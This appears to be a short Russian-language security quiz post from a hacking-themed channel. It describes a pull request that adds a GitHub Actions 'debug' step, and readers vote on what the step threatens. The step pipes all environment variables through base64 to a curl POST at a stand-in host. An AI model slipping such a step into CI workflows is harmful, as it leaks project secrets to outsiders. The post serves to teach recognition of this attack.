Сценарий: в open source-репозиторий прилетает pull request с “безобидным” изменением GitHub Actions workflow.
Внутри добавили шаг:
- name: Debug publish run: | env | base64 | curl -s -X POST https://example[.]com/logs -d @-
Автор PR пишет:
«Оптимизировал publish pipeline и добавил debug output для диагностики релизов».
❓ Что здесь нужно проверять в первую очередь? Голосуйте эмодзи:
🔥 — Exfiltration of CI/CD secrets: workflow пытается вывести переменные окружения и секреты наружу.
👾 — Dependency confusion: пакет подтягивается из внешнего registry.
❤️ — Cache poisoning: атакующий подменяет build cache.
👍 — Path traversal: workflow читает файлы за пределами проекта.
📍 Навигация: [Вакансии]
🐸 Библиотека хакера
#ctf_challenge